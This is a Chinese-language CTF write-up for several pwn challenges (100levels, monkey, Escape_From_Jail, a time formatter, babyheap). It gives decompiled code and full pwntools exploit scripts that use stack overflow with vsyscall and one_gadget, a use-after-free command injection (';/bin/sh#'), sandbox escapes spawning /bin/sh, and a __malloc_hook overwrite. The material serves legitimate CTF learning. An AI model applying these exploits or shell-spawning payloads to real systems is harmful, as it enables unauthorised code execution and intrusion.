100levels 题目 检查
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
两个功能: go hint
go:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int __fastcall go(__int64 a1, __int64 a2) { int v3; // ST0C_4 __int64 v4; // [rsp+0h] [rbp-120h] __int64 num2; // [rsp+0h] [rbp-120h] int v6; // [rsp+8h] [rbp-118h] __int64 num1; // [rsp+10h] [rbp-110h] signed __int64 num1a; // [rsp+10h] [rbp-110h] signed __int64 cnt; // [rsp+18h] [rbp-108h] __int64 v10; // [rsp+20h] [rbp-100h] puts("How many levels?"); v4 = get_num(); if ( v4 > 0 ) num1 = v4; else puts("Coward"); puts("Any more?"); num2 = get_num(); num1a = num1 + num2; if ( num1a > 0 ) { if ( num1a <= 99 ) { cnt = num1a; } else { puts("You are being a real man."); cnt = 100LL; } puts("Let's go!'"); v6 = time(0LL); if ( (unsigned int)check(cnt) != 0 ) { v3 = time(0LL); sprintf((char *)&v10, "Great job! You finished %d levels in %d seconds\n", cnt, (unsigned int)(v3 - v6), num2); puts((const char *)&v10); } else { puts("You failed."); } exit(0); } return puts("Coward Coward Coward Coward Coward"); }
go调用的check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 _BOOL8 __fastcall check(signed int cnt) { int v2; // eax __int64 v3; // rax __int64 buf; // [rsp+10h] [rbp-30h] __int64 v5; // [rsp+18h] [rbp-28h] __int64 v6; // [rsp+20h] [rbp-20h] __int64 v7; // [rsp+28h] [rbp-18h] unsigned int v8; // [rsp+34h] [rbp-Ch] unsigned int num2; // [rsp+38h] [rbp-8h] unsigned int num1; // [rsp+3Ch] [rbp-4h] buf = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; if ( !cnt ) return 1LL; if ( (unsigned int)check(cnt - 1) == 0 ) return 0LL; num1 = rand() % cnt; v2 = rand(); num2 = v2 % cnt; v8 = v2 % cnt * num1; puts("===================================================="); printf("Level %d\n", (unsigned int)cnt); printf("Question: %d * %d = ? Answer:", num1, num2); read(0, &buf, 0x400uLL); // overflow v3 = strtol((const char *)&buf, 0LL, 10); return v3 == v8; }
hint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int hint() { signed __int64 v1; // [rsp+8h] [rbp-108h] int v2; // [rsp+10h] [rbp-100h] __int16 v3; // [rsp+14h] [rbp-FCh] if ( flag ) { sprintf((char *)&v1, "Hint: %p\n", &system, &system); } else { v1 = 'N NWP ON'; v2 = 'UF O'; v3 = 'N'; } return puts((const char *)&v1); }
分析 思路一 容易发现的漏洞就是check时的溢出,还有问题就是go初始时输入两次值,最后使用的是两次加起来的值,但是如果第一次输入的值小于等于0就不会初始化第一个值。
最刚开始的想法是通过溢出修改存储在bss段的flag位然后返回到主函数,再使用hint泄露system函数地址 但是因为程序开启了pie,因此bss段位置也就是不定的,而如果想要泄露libc,又因为是64位程序,因此需要gadget,但是gadgets的位置也因为pie变得位置不定,所以行不通。
再观察程序,发现: hint函数是先将system函数地址读到了栈上,之后调用fprintf函数输出的,其地址为rbp-0x110
1 2 3 4 var_110 = qword ptr -110h mov rax, cs:system_ptr mov [rbp+var_110], rax
而如果go读取的第一个数没有初始化的话,他的值就是栈上的值,而它的地址恰巧也是rbp-0x110
1 __int64 num1; // [rsp+10h] [rbp-110h]
所以我们按理说是可以利用那个对大小判断的函数来逐位爆破system的地址 这里需要注意的是如果和大于0进入check,如果顺着令其运行完会直接退出,所以也需要在check中溢出覆盖返回地址以便能够继续爆破
而覆盖的返回地址依旧是不确定的,观察程序运行时的内存映射,发现程序的最后vsyscall段是恒定不变的,我们可以利用它来绕过pie;
1 2 3 4 5 6 pwndbg> x/10i 0xffffffffff600400 0xffffffffff600400: mov rax,0xc9 0xffffffffff600407: syscall 0xffffffffff600409: ret 0xffffffffff60040a: int3 0xffffffffff60040b: int3
思路二 思路一没有复现成功,看到了大佬们的简单一点的思路
前面基本一致,但是不再去爆破system的地址,而是将其覆盖位one_gadget的地址,也就是计算二者偏移的差值然后将其加上去直接得到one_gadget RCE,可以看到这个地址被存放在了栈上,我们的目标就是在后面的栈溢出中想办法使得返回到此处。
执行最后一次时的栈情况:
1 2 3 4 5 6 7 8 03:0018│ rsi 0x7ffe36cd7780 ◂— 0x0 ... ↓ 07:0038│ 0x7ffe36cd77a0 ◂— 0x1ae00000000 08:0040│ 0x7ffe36cd77a8 ◂— 0x2b0000000a /* '\n' */ 09:0048│ rbp 0x7ffe36cd77b0 —▸ 0x7ffe36cd78e0 —▸ 0x7ffe36cd7920 —▸ 0x556f0672efd0 ◂— push r15 0a:0050│ 0x7ffe36cd77b8 —▸ 0x556f0672ec8a ◂— test eax, eax 0b:0058│ 0x7ffe36cd77c0 ◂— 0xfffffffffffffeda 0c:0060│ 0x7ffe36cd77c8 ◂— 0x556f5caa9f45 -------》 one_gadget 在这里
我们就可以使用vsyscall中的不变量来使返回地址滑向此处执行one_gadget
简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * import sys context.log_level = "debug" system_offset = 0x45390 ret_address = 0xffffffffff600400 target_offset = 0x4526a difference = target_offset - system_offset def answer(eqn): parse = eqn[9:eqn.find("=")] soln = eval(parse) return soln def main(): p = process("./100levels") #p = remote("47.74.147.103", 20001) p.sendline("2") p.clean() p.sendline("1") p.clean() p.sendline("0") p.clean() p.sendline(str(difference)) for i in range(99): p.recvline_contains("Level") eqn = p.clean() soln = answer(eqn) p.send(str(soln)+"\x00") pay = str(soln) + "\x00" pay = pay.ljust(56, "B") pay += p64(ret_address)*3 log.info("Injected our vsyscall ROPs") p.send(pay) p.clean() p.success("Shell spawned! Enjoy!") p.interactive() if __name__ == "__main__": main()
未成功的思路一
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context.log_level='debug' sh=process('./100levels') #sh=remote('111.198.29.45','32440') elf = ELF('./100levels') libc = ELF('./libc.so') def go(level,more): sh.recvuntil('Choice:\n') sh.sendline('1') sh.recvuntil('levels?\n') sh.sendline(str(level)) sh.recvuntil('more?\n') sh.sendline(str(more)) def hint(): sh.sendlineafter('Choice:\n','2') def calc(answer): sh.sendlineafter('Answer:',answer) def leak(): start = 0x700000000390 for i in range(10,2,-1): for j in range(15,-1,-1): hint() addr_test = start+(1 << (i*4)*j) go(0,-addr_test) a = sh.recvline() if 'Coward' not in a: start = addr_test log.info('check '+ hex(addr_test)) break pro = log.progress('go') for i in range(99): pro.status('level %d'%(i+1)) calc(p64(0)*5) #gdb.attach(sh) calc(p64(0)*5+p64(0xffffffffff600400)*3) #gdb.attach(sh) pro.success('ok') return start + 0x100 system=leak() print system binsh_addr = system - libc.symbols['system']+libc.search('/bin/sh').next() pop_rdi_ret = system - libc.symbols['system']+0x21102 pay = p64(pop_rdi_ret)+p64(binsh_addr)+p64(system) go(1,0) pay = '0'*0x38+pay calc(pay) #gdb.attach(sh) sh.interactive()
参考:https://bbs.ichunqiu.com/thread-43627-1-1.html https://nandynarwhals.org/hitbgsec2017-1000levels/ https://znqt.github.io/hitb-gsec-pwn-1000levels/
monkey 题目 & 分析 & exp 算是js的沙箱逃逸,给了个The SpiderMonkey shell,可以查询到它的源码之类的东西, 可以发现其没有任何过滤,所以给个os.system(“/bin/sh”) 直接拿shell即可
Escape_From_Jail-50 题目 python沙箱逃逸,只给了个远程连接,检测到被过滤的字符会报错
banned:
1 . / ' / import /flag /eval /exec / dir(__builtins__)无反馈 等等
分析 & exp 许多常见的基本上都被过滤了
不能使用import关键字且不允许使用 “.”,一大部分路就被绝了,
os,未被过滤,但是基本调用需要”.”,所以需要其他方式。
查询资料发现 getattr函数可以使用
相关资料可以看菜鸟:http://www.runoob.com/python/python-func-getattr.html
getattr(os,”system”)(“/bin/sh”)
比较有意思的一个题目,刚开始没看懂题。。
题目 重点函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __int64 __fastcall print(__int64 a1, __int64 a2, __int64 a3) { __int64 v3; // r8 char command; // [rsp+8h] [rbp-810h] unsigned __int64 v6; // [rsp+808h] [rbp-10h] v6 = __readfsqword(0x28u); if ( ptr ) { __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)time, ptr, a3); __printf_chk(1LL, "Your formatted time is: "); fflush(stdout); if ( getenv("DEBUG") ) __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3); setenv("TZ", value, 1); system(&command); } else { puts("You haven't specified a format!"); } return 0LL; }
退出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 signed __int64 __noreturn exit() { signed __int64 result; // rax char s; // [rsp+8h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u); free__(ptr); free__(value); __printf_chk(1LL, "Are you sure you want to exit (y/N)? "); fflush(stdout); fgets(&s, 16, stdin); result = 0LL; if ( (s & 0xDF) == 89 ) { puts("OK, exiting."); result = 1LL; } return result; }
分析&&exp 问题出在退出时先free然后再询问是否退出,这个时候选择不退出的话就会出现UAF漏洞
在system中执行command命令,command字符串通过snprintf_chk函数拼接起来,可以百度一下这个函数的用法,注意字符串/bin/date -d @%d +’%s’,按照linux 64的函数传参顺序,分别是rdi rsi rdx rcx r8 r9 然后是栈 ,所以此时%s对应第一个入栈的参数,也就是rax 也就是qword_602118,所以只要控制了qword_602118,就可以执行任意系统命令(注意闭合单引号)。
所以依次执行 1,5 / N ,3 / ‘;/bin/sh#’ , 4 即可
babyheap 题目&&分析 正常题目,edit时没有检查存储的size
所以虽然保护全开,我们仍然可以使用溢出来overlap来泄露地址及其他
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import * context.log_level = 'debug' #sh=process('./babyheap') sh = remote('111.198.29.45','31717') elf = ELF('./babyheap') libc = ELF('./libc-2.23.so') def show(idx): sh.sendlineafter('>> ','3') sh.sendline(str(idx)) def new(length,con): sh.sendlineafter('>> ','1') sh.sendline(str(length)) sh.send(con) def edit(idx,length,con): sh.sendlineafter('>> ','2') sh.sendline(str(idx)) sh.sendline(str(length)) sh.send(con) def dele(idx): sh.sendlineafter('>> ','4') sh.sendline(str(idx)) new(0x10,'a'*0x10) #0 new(0x10,'b'*0x10) #1 new(0x10,'c'*0x10) #2 new(0x10,'d'*0x10) #3 new(0x10,'e'*0x10) #4 #--------------leak heap base---------------- edit(0,0x20,'a'*0x18+p64(0x41)) dele(1) new(0x30,'b'*0x18+p64(0x21)+'c'*0x10) #1 dele(4) dele(2) show(1) sh.recvuntil(p64(0x21)) heap = u64(sh.recv(8))-0x80 print 'heap_base: '+hex(heap) #--------------leak libc base---------------- new(0x10,'b'*0x10) #2 new(0x10,'e'*0x10) #4 new(0x10,'f'*0x10) #5 new(0x10,'deadbeef'*2) #6 #new(0x90,'c'*0x90) edit(0,0x28,'a'*0x18+p64(0xa1)+'a'*8) #gdb.attach(sh) dele(1) new(0x10,'b'*0x10) #1 #gdb.attach(sh) show(2) main_arena = u64(sh.recv(8))-88 malloc_hook = main_arena - 0x10 libc.base = malloc_hook - libc.symbols['__malloc_hook'] one_gadget = libc.base+0x4526a print 'libc: '+hex(libc.base) #------------hjack malloc_hook to getshell---------- new(0x70,'c'*0x60+p64(0)+p64(0x31)) #2 & 7 edit(1,0x28,'b'*0x18+p64(0x71)+'c'*8) dele(7) edit(2,8,p64(main_arena-0x33)) new(0x60,'c'*0x60) new(0x63,'a'*0x13+p64(one_gadget)+p64(0)*9) new(1,'a') #gdb.attach(sh) sh.interactive()